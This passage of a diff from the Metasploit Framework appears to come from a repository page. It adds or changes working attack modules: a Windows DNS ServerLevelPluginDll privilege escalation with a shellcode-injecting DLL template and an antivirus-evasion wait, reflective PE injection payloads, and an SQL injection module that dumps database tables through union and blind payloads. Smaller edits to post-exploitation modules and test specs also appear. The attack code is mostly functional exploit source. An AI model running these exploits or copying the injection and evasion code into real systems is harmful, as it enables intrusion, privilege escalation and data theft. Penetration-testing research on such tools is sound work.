||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
# get system architecture
|
||||
arch = sysinfo['Architecture']
|
||||
if arch != payload_instance.arch.first
|
||||
fail_with(Failure::BadConfig, 'Wrong payload architecture!')
|
||||
end
|
||||
|
||||
# no exploit, just create the DLL
|
||||
if datastore['MAKEDLL'] == true
|
||||
# copypasta from lib/msf/core/exploit/fileformat.rb
|
||||
# writes the generated DLL to ~/.msf4/local/
|
||||
dllname = datastore['DLLNAME']
|
||||
full_path = store_local('dll', nil, make_serverlevelplugindll(arch), dllname)
|
||||
print_good("#{dllname} stored at #{full_path}")
|
||||
return
|
||||
end
|
||||
|
||||
# will exploit
|
||||
if is_system?
|
||||
fail_with(Failure::BadConfig, 'Session is already elevated!')
|
||||
end
|
||||
|
||||
unless [CheckCode::Vulnerable].include? check
|
||||
fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
|
||||
end
|
||||
|
||||
# if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll
|
||||
print_status('Checking service state...')
|
||||
svc_state = service_status('DNS')
|
||||
unless svc_state[:state] == 4
|
||||
print_status('DNS service is stopped, starting it...')
|
||||
service_start('DNS')
|
||||
end
|
||||
|
||||
# the service must be started before proceeding
|
||||
total_wait_time = 0
|
||||
loop do
|
||||
svc_state = service_status('DNS')
|
||||
if svc_state[:state] == 4
|
||||
sleep 1
|
||||
break
|
||||
else
|
||||
sleep 2
|
||||
total_wait_time += 2
|
||||
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
|
||||
end
|
||||
end
|
||||
|
||||
# the if block assumes several things:
|
||||
# 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet
|
||||
# 2. operator has generated their own DLL with the correct payload and architecture
|
||||
# 3. operator's SMB share is accessible from the target. "Enable insecure guest logons" is "Enabled" on the target or
|
||||
# the target falls back to SMB1
|
||||
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
|
||||
if datastore['DLLPATH'].start_with?('\\\\')
|
||||
|
||||
# Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
|
||||
build_num_raw = session.shell_command_token('cmd.exe /c ver')
|
||||
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
|
||||
if build_num.nil?
|
||||
print_error("Couldn't retrieve the target's build number!")
|
||||
return
|
||||
else
|
||||
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
|
||||
vprint_status("Target's build number: #{build_num}")
|
||||
end
|
||||
|
||||
build_num_gemversion = Gem::Version.new(build_num)
|
||||
|
||||
# If the target is running Windows 10 or Windows Server versions with a
|
||||
# build number of 16299 or later, aka v1709 or later, then we need to check
|
||||
# if "Enable insecure guest logons" is enabled on the target system as per
|
||||
# https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser
|
||||
if (build_num_gemversion >= Gem::Version.new('10.0.16299.0'))
|
||||
# check if "Enable insecure guest logons" is enabled on the target system
|
||||
allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth')
|
||||
unless allow_insecure_guest_auth == 1
|
||||
fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!")
|
||||
end
|
||||
end
|
||||
print_status('Using user-provided UNC path.')
|
||||
else
|
||||
write_file(dllpath, make_serverlevelplugindll(arch))
|
||||
print_good("Wrote DLL to #{dllpath}!")
|
||||
print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...")
|
||||
sleep(datastore['AVTIMEOUT'])
|
||||
unless file_exist?(dllpath.to_s)
|
||||
print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...')
|
||||
return
|
||||
end
|
||||
print_good("Looks like our file wasn't caught by the AV.")
|
||||
end
|
||||
|
||||
print_warning('Entering danger section...')
|
||||
|
||||
print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...")
|
||||
dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip
|
||||
unless dnscmd_result.include? 'success'
|
||||
fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0])
|
||||
end
|
||||
|
||||
print_good(dnscmd_result.split("\n")[0])
|
||||
|
||||
# restart the DNS service
|
||||
print_status('Restarting the DNS service...')
|
||||
restart_service
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
if datastore['DLLPATH'].start_with?('\\\\')
|
||||
return
|
||||
else
|
||||
if session.type == 'meterpreter'
|
||||
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
|
||||
end
|
||||
|
||||
vprint_status('Erasing ServerLevelPluginDll registry value...')
|
||||
cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll")
|
||||
print_good('Exited danger zone successfully!')
|
||||
|
||||
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
|
||||
restart_service('session' => session, 'dllpath' => dllpath)
|
||||
end
|
||||
end
|
||||
|
||||
def restart_service(opts = {})
|
||||
# for deleting the DLL
|
||||
if opts['session'] && opts['dllpath']
|
||||
session = opts['session']
|
||||
dllpath = opts['dllpath']
|
||||
end
|
||||
|
||||
service_stop('DNS')
|
||||
# see if the service has really been stopped
|
||||
total_wait_time = 0
|
||||
loop do
|
||||
svc_state = service_status('DNS')
|
||||
if svc_state[:state] == 1
|
||||
sleep 1
|
||||
break
|
||||
else
|
||||
sleep 2
|
||||
total_wait_time += 2
|
||||
fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90
|
||||
end
|
||||
end
|
||||
|
||||
# clean up the dropped DLL
|
||||
if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\')
|
||||
vprint_status("Removing #{dllpath}...")
|
||||
session.fs.file.rm dllpath
|
||||
end
|
||||
|
||||
service_start('DNS')
|
||||
# see if the service has really been started
|
||||
total_wait_time = 0
|
||||
loop do
|
||||
svc_state = service_status('DNS')
|
||||
if svc_state[:state] == 4
|
||||
sleep 1
|
||||
break
|
||||
else
|
||||
sleep 2
|
||||
total_wait_time += 2
|
||||
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def make_serverlevelplugindll(arch)
|
||||
# generate the payload
|
||||
payload = generate_payload
|
||||
# the C template for the ServerLevelPluginDll DLL
|
||||
c_template = %|
|
||||
#include <Windows.h>
|
||||
#include <stdlib.h>
|
||||
#include <String.h>
|
||||
|
||||
BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
|
||||
switch (dwReason) {
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int DnsPluginCleanup __attribute__((export))(void) { return 0; }
|
||||
int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }
|
||||
int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) {
|
||||
STARTUPINFO startup_info;
|
||||
PROCESS_INFORMATION process_info;
|
||||
char throwaway_buffer[8];
|
||||
|
||||
ZeroMemory(&startup_info, sizeof(startup_info));
|
||||
startup_info.cb = sizeof(STARTUPINFO);
|
||||
startup_info.dwFlags = STARTF_USESHOWWINDOW;
|
||||
startup_info.wShowWindow = 0;
|
||||
|
||||
if (CreateProcess(NULL, "C:\\\\Windows\\\\System32\\\\notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) {
|
||||
HANDLE processHandle;
|
||||
HANDLE remoteThread;
|
||||
PVOID remoteBuffer;
|
||||
|
||||
unsigned char shellcode[] = "SHELLCODE_PLACEHOLDER";
|
||||
|
||||
processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId);
|
||||
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE);
|
||||
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
|
||||
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
|
||||
|
||||
CloseHandle(process_info.hThread);
|
||||
CloseHandle(processHandle);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
||||
|
||||
c_template.gsub!('SHELLCODE_PLACEHOLDER', Rex::Text.to_hex(payload.raw).to_s)
|
||||
|
||||
cpu = nil
|
||||
case arch
|
||||
when 'x86'
|
||||
cpu = Metasm::Ia32.new
|
||||
when 'x64'
|
||||
cpu = Metasm::X86_64.new
|
||||
else
|
||||
fail_with(Failure::NoTarget, 'Target arch is not compatible')
|
||||
end
|
||||
|
||||
print_status('Building DLL...')
|
||||
Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)
|
||||
end
|
||||
end
|
||||
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 34197
|
||||
CachedSize = 34264
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Php::ReverseTcp
|
||||
|
||||
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 112349
|
||||
CachedSize = 112793
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
||||
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 112317
|
||||
CachedSize = 112761
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
||||
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 112317
|
||||
CachedSize = 112765
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
||||
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 112245
|
||||
CachedSize = 112693
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
||||
@@ -16,7 +16,7 @@ module MetasploitModule
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Python Meterpreter',
|
||||
'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6)',
|
||||
'Description' => 'Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+)',
|
||||
'Author' => 'Spencer McIntyre',
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
#
|
||||
require 'msf/core/payload/windows/peinject'
|
||||
require 'msf/core/payload/windows/reflective_pe_loader'
|
||||
|
||||
###
|
||||
#
|
||||
# Injects an arbitrary PE file in the exploited process via reflective PE loader.
|
||||
#
|
||||
###
|
||||
module MetasploitModule
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::PEInject
|
||||
include Msf::Payload::Windows::ReflectivePELoader
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Inject PE Files',
|
||||
'Description' => %q{
|
||||
Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE
|
||||
loader will execute the pre-mapped PE image starting from the address of entry after performing image base
|
||||
relocation and API address resolution. This module requires a PE file that contains relocation data and a
|
||||
valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks
|
||||
are not currently supported. Also PE files which use resource loading might crash.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'ege <egebalci[at]pm.me>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'References' =>
|
||||
[
|
||||
'https://github.com/EgeBalci/Amber'
|
||||
],
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockedi handleedi -http -https'
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def encapsulate_reflective_stub(mapped_pe, opts)
|
||||
call_size = mapped_pe.length + 5
|
||||
reflective_loader = Metasm::Shellcode.assemble(Metasm::X86.new, "call $+#{call_size}").encode_string
|
||||
reflective_loader += mapped_pe
|
||||
reflective_loader + Metasm::Shellcode.assemble(Metasm::X86.new, asm_reflective_pe_loader(opts)).encode_string
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,60 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/payload/windows/peinject'
|
||||
require 'msf/core/payload/windows/x64/reflective_pe_loader'
|
||||
|
||||
###
|
||||
#
|
||||
# Injects an arbitrary PE file in the exploited process via reflective PE loader.
|
||||
#
|
||||
###
|
||||
module MetasploitModule
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::PEInject
|
||||
include Msf::Payload::Windows::ReflectivePELoader_x64
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Inject Reflective PE Files',
|
||||
'Description' => %q{
|
||||
Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE
|
||||
loader will execute the pre-mapped PE image starting from the address of entry after performing image base
|
||||
relocation and API address resolution. This module requires a PE file that contains relocation data and a
|
||||
valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks
|
||||
are not currently supported. Also PE files which use resource loading might crash.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'ege <egebalci[at]pm.me>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'https://github.com/EgeBalci/Amber'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X64,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockrdi handlerdi -http -https'
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def encapsulate_reflective_stub(mapped_pe, opts)
|
||||
call_size = mapped_pe.length + 5
|
||||
reflective_loader = Metasm::Shellcode.assemble(Metasm::X64.new, "call $+#{call_size}").encode_string
|
||||
reflective_loader += mapped_pe
|
||||
reflective_loader + Metasm::Shellcode.assemble(Metasm::X64.new, asm_reflective_pe_loader_x64(opts)).encode_string
|
||||
end
|
||||
end
|
||||
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Post
|
||||
'Name' => "Windows Gather Applied Patches",
|
||||
'Description' => %q{
|
||||
This module will attempt to enumerate which patches are applied to a windows system
|
||||
based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering.
|
||||
based on the result of the WMI query: SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
@@ -39,16 +39,16 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
begin
|
||||
objects = session.extapi.wmi.query("SELECT HotFixID FROM Win32_QuickFixEngineering")
|
||||
objects = session.extapi.wmi.query("SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering")
|
||||
rescue RuntimeError
|
||||
print_error "Known bug in WMI query, try migrating to another process"
|
||||
print_error 'Known bug in WMI query, try migrating to another process'
|
||||
return
|
||||
end
|
||||
|
||||
if objects[:values].nil?
|
||||
kb_ids = []
|
||||
else
|
||||
kb_ids = objects[:values].reject(&:nil?).map { |kb| kb[0] }
|
||||
kb_ids = objects[:values].reject(&:nil?).map { |kb| kb }
|
||||
end
|
||||
|
||||
if kb_ids.empty?
|
||||
@@ -58,8 +58,9 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
l = store_loot('enum_patches', 'text/plain', session, kb_ids.join("\n"))
|
||||
print_status("Patch list saved to #{l}")
|
||||
|
||||
kb_ids.each do |kb|
|
||||
print_status("#{kb} applied")
|
||||
print_good("#{kb[0]} installed on #{kb[1]}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -27,12 +27,12 @@ class MetasploitModule < Msf::Post
|
||||
env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')
|
||||
sysdrv = env_vars['SystemDrive']
|
||||
|
||||
if os =~ /Windows 7|Vista|2008/
|
||||
path4users = sysdrv + "\\Users\\"
|
||||
profilepath = "\\Documents\\WindowsPowerShell\\"
|
||||
else
|
||||
if os =~ /XP|2003/
|
||||
path4users = sysdrv + "\\Documents and Settings\\"
|
||||
profilepath = "\\My Documents\\WindowsPowerShell\\"
|
||||
else
|
||||
path4users = sysdrv + "\\Users\\"
|
||||
profilepath = "\\Documents\\WindowsPowerShell\\"
|
||||
end
|
||||
|
||||
if is_system?
|
||||
|
||||
@@ -49,10 +49,10 @@ def init_framework(create_opts={})
|
||||
]
|
||||
|
||||
create_opts[:module_types].map! do |type|
|
||||
type = Msf.const_get("MODULE_#{type.upcase}")
|
||||
Msf.const_get("MODULE_#{type.upcase}")
|
||||
end
|
||||
|
||||
@framework = ::Msf::Simple::Framework.create
|
||||
@framework = ::Msf::Simple::Framework.create(create_opts)
|
||||
end
|
||||
|
||||
# Cached framework object
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Msf::Modules::Metadata::Search do
|
||||
@@ -203,6 +205,49 @@ RSpec.describe Msf::Modules::Metadata::Search do
|
||||
it_should_behave_like 'search_filter', :accept => [nil, '', ' '], :test_inverse => false
|
||||
end
|
||||
|
||||
context 'on a module with a #description of "metasploit pro console"' do
|
||||
let(:opts) { ({ 'description' => 'metasploit pro console' }) }
|
||||
it_should_behave_like(
|
||||
'search_filter',
|
||||
:accept => ["metasploit", "metasploit pro", "metasploit pro console", "console pro"],
|
||||
:reject => ["metasploit framework", "pro framework", "pro console php"],
|
||||
:test_inverse => false
|
||||
)
|
||||
end
|
||||
|
||||
context 'when invalid encodings are used, all results are returned' do
|
||||
context 'and the search term is present' do
|
||||
let(:opts) { ({ 'author' => ['István'.force_encoding("UTF-8")] }) }
|
||||
it_should_behave_like(
|
||||
'search_filter',
|
||||
accept: [
|
||||
"author:István",
|
||||
"author:Istv\xE1n ",
|
||||
"author:Istv\u00E1n ",
|
||||
],
|
||||
:reject => [
|
||||
'different_author'
|
||||
],
|
||||
:test_inverse => false
|
||||
)
|
||||
end
|
||||
context 'and the search term is not present' do
|
||||
let(:opts) { ({ 'author' => ['different_author'] }) }
|
||||
it_should_behave_like(
|
||||
'search_filter',
|
||||
accept: [
|
||||
'different_author',
|
||||
"author:Istv\xE1n",
|
||||
],
|
||||
:reject => [
|
||||
"author:István",
|
||||
"author:Istv\u00E1n ",
|
||||
],
|
||||
:test_inverse => false
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when filtering by module #type' do
|
||||
all_module_types = Msf::MODULE_TYPES
|
||||
all_module_types.each do |mtype|
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::SQLi
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'SQLite injection testing module',
|
||||
'Description' => '
|
||||
This module tests the SQL injection library against the SQLite database management system
|
||||
The target : https://github.com/incredibleindishell/sqlite-lab
|
||||
',
|
||||
'Author' =>
|
||||
[
|
||||
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w[linux],
|
||||
'References' =>
|
||||
[],
|
||||
'Targets' => [['Wildcard Target', {}]],
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST('127.0.0.1'),
|
||||
OptString.new('TARGETURI', [true, 'The target URI', '/']),
|
||||
OptInt.new('SqliType', [true, '0)Regular. 1) BooleanBlind. 2)TimeBlind', 0]),
|
||||
OptString.new('Encoder', [false, 'an encoder to use (hex for example)', '']),
|
||||
OptBool.new('HexEncodeStrings', [true, 'Replace strings in the query with hex numbers?', false]),
|
||||
OptInt.new('TruncationLength', [true, 'Test SQLi with truncated output (0 or negative to disable)', 0]),
|
||||
OptBool.new('Safe', [ true, 'Dump data row-by-row ?', false ]),
|
||||
OptInt.new('NumRows', [ false, 'Limit the number of rows to retrieve (0 or negative to disable)', 0])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def boolean_blind
|
||||
encoder = datastore['Encoder'].empty? ? nil : datastore['Encoder'].intern
|
||||
sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind, opts: {
|
||||
encoder: encoder,
|
||||
hex_encode_strings: datastore['HexEncodeStrings'],
|
||||
safe: datastore['Safe']
|
||||
}) do |payload|
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'tag' => "' or #{payload}--",
|
||||
'search' => 'Check Plan'
|
||||
}
|
||||
})
|
||||
res.body.include?('Dear')
|
||||
end
|
||||
unless sqli.test_vulnerable
|
||||
print_bad("Doesn't seem to be vulnerable")
|
||||
return
|
||||
end
|
||||
perform_sqli(sqli)
|
||||
end
|
||||
|
||||
def reflected
|
||||
encoder = datastore['Encoder'].empty? ? nil : datastore['Encoder'].intern
|
||||
truncation = datastore['TruncationLength'] <= 0 ? nil : datastore['TruncationLength']
|
||||
sqli = create_sqli(dbms: SQLitei::Common, opts: {
|
||||
encoder: encoder,
|
||||
hex_encode_strings: datastore['HexEncodeStrings'],
|
||||
truncation_length: truncation,
|
||||
safe: datastore['Safe']
|
||||
}) do |payload|
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'tag' => "' and 1=2 union select 1,(#{payload}),3,4,5--"
|
||||
}
|
||||
})
|
||||
if !res
|
||||
''
|
||||
else
|
||||
body = res.body[%r{Default Operating system</td><td width="40%" align=left style="padding: 5px;color:#ff9933;">(.*?)</td></tr><tr><td}m, 1]
|
||||
if !body
|
||||
''
|
||||
else
|
||||
body = body.strip
|
||||
truncation ? body[0, truncation] : body
|
||||
end
|
||||
end
|
||||
end
|
||||
unless sqli.test_vulnerable
|
||||
print_bad("Doesn't seem to be vulnerable")
|
||||
return
|
||||
end
|
||||
perform_sqli(sqli)
|
||||
end
|
||||
|
||||
def time_blind
|
||||
encoder = datastore['Encoder'].empty? ? nil : datastore['Encoder'].intern
|
||||
sqli = create_sqli(dbms: SQLitei::TimeBasedBlind, opts: {
|
||||
encoder: encoder,
|
||||
hex_encode_strings: datastore['HexEncodeStrings'],
|
||||
safe: datastore['Safe']
|
||||
}) do |payload|
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'tag' => "' or #{payload}--",
|
||||
'search' => 'Check Plan'
|
||||
}
|
||||
})
|
||||
raise ArgumentError unless res
|
||||
end
|
||||
unless sqli.test_vulnerable
|
||||
print_bad("Doesn't seem to be vulnerable")
|
||||
return
|
||||
end
|
||||
perform_sqli(sqli)
|
||||
end
|
||||
|
||||
def perform_sqli(sqli)
|
||||
print_good "dbms: #{sqli.version}"
|
||||
tables = sqli.enum_table_names
|
||||
print_good "tables: #{tables.join(', ')}"
|
||||
tables.each do |table|
|
||||
columns = sqli.enum_table_columns(table)
|
||||
print_good "#{table}(#{columns.join(', ')})"
|
||||
if datastore['NumRows'] > 0
|
||||
content = sqli.dump_table_fields(table, columns, '', datastore['NumRows'])
|
||||
else
|
||||
content = sqli.dump_table_fields(table, columns)
|
||||
end
|
||||
content.each do |row|
|
||||
print_good "\t" + row.join(', ')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res&.body&.include?('--==[[IndiShell Lab]]==--')
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
case datastore['SqliType']
|
||||
when 0 then reflected
|
||||
when 1 then boolean_blind
|
||||
when 2 then time_blind
|
||||
else print_bad('Unsupported SQLI_TYPE')
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user